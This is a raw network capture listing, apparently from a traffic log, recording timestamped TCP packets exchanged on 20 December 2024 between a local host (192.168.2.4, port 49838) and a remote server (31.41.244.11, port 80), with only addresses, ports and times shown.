Dec 20, 2024 04:12:38.120745897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.121804953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.121856928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.121882915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.121927023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.122693062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.122802019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.122826099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.122924089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.124002934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.124061108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.124068022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.124116898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.124793053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.124880075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.124912977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.125098944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.125802040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.125916958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.125921965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.125987053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.126920938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.126945972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.127255917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.127964020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.127989054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.128060102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.128060102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.128906012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.129062891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.129076958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.129190922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.129995108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.130095005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.130099058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.130170107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.130949020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.131014109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.131159067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.132225037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.132253885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.132292032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.132318974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.132860899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.133085966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.133158922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.133225918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.134080887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.134185076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.134215117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.134325027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.135116100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.135195971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.135222912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.135381937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.136255980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.136270046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.136347055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.137249947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.137397051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.137428999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.137876034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.138362885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.138377905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.138761044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.139245033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.139369011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.139554024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.140295982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.140355110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.140430927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.141275883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.141340017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.141380072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.141490936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.142370939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.142385960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.142496109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.143327951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.143429995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.143484116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.144381046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.144486904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.144488096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.144582987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.145407915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.145510912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.145514965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.145677090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.146136045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.146248102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.146275043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.146349907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.147259951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.147274971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.147327900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.147327900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.148212910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.148272991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.148298025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.148483992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.149207115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.149831057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.287599087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.287636042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.287730932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.287951946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.288055897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.288069963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.288187027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.289024115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.289194107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.289223909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.289797068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.290031910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.290095091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.290880919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.291064978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.291209936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.291235924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.292156935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.292299986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.292323112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.293149948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.293265104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.293287039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.294173002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.294200897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.294258118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.295206070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.295233965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.295286894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.296225071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.296252012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.296288967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.296315908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.297308922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.297337055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.297451019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.297478914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.298083067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.298259020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.298317909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.298342943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.298397064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.299360991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.299448967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.299474955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.299920082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.300352097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.300447941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.300472021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.301384926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.301415920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.301480055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.301632881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.302553892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.302566051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.302711010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.303472996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.303492069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.303618908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.304464102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.304541111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.304591894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.304795980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.305603981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.305614948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.305685997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.305685997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.306538105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.306646109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.306670904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.306699038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.307578087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.307663918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.307737112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.308660030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.308726072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.308754921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.309631109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.309746981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.309775114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.309869051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.310641050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.310823917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.310851097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.311712980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.311795950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.311821938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.312165022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.312797070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.312859058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.312884092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.313051939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.313757896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.313822985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.313853025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.314191103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.314845085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.314934969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.315213919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.315505981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.315850973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.315912008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.316488028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.316869974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.316976070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.316993952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.317095995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.317887068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.318008900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.318034887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.318284988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.318909883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.319159985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.319194078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.319875956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.319978952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.320079088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.320730925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.320966005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.321052074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.321073055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.321156025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.322069883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.322120905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.322232962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.323086023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.323210955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.323237896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.323381901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.324100018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.324487925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.324544907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.325170040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.325288057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.325342894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.325454950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.326143026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.326253891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.326621056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.327168941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.327220917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.327246904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.328093052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.328229904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.328299999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.328330040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.328470945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.329297066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.329307079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.329391956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.330305099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.330447912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.330622911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.331373930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.331384897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.331479073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.332345963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.332473993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.332489967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.332659960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.333369017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.333447933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.333528042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.334384918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.334465981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.334495068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.334573030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.335395098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.335458040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.335460901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.335519075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.336482048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.336587906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.336647987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.337476969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.337529898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.337558985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.337645054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.338228941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.338321924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.338673115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.338862896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.338979959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.339098930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.339157104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.339888096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.339975119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.339978933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.340070009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.340882063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.340967894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.340987921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.341058969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.479619980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.479748011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.479934931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.480026007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.480125904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.480381012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.481053114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.481165886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.481631994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.482108116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.482250929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.482654095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.482991934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.483144999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.483268976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.483356953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.484155893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.484278917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.484306097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.484514952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.485172987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.485300064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.485353947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.486222982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.486342907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.486500978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.487247944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.487361908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.488285065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.488353014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.488435984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.488435984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.489315033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.489511013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.490348101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.490422010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.490449905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.491367102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.491532087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.491559982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.491807938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.492445946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.492516994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.492974043 CET	49838	80	192.168.2.4	31.41.244.11
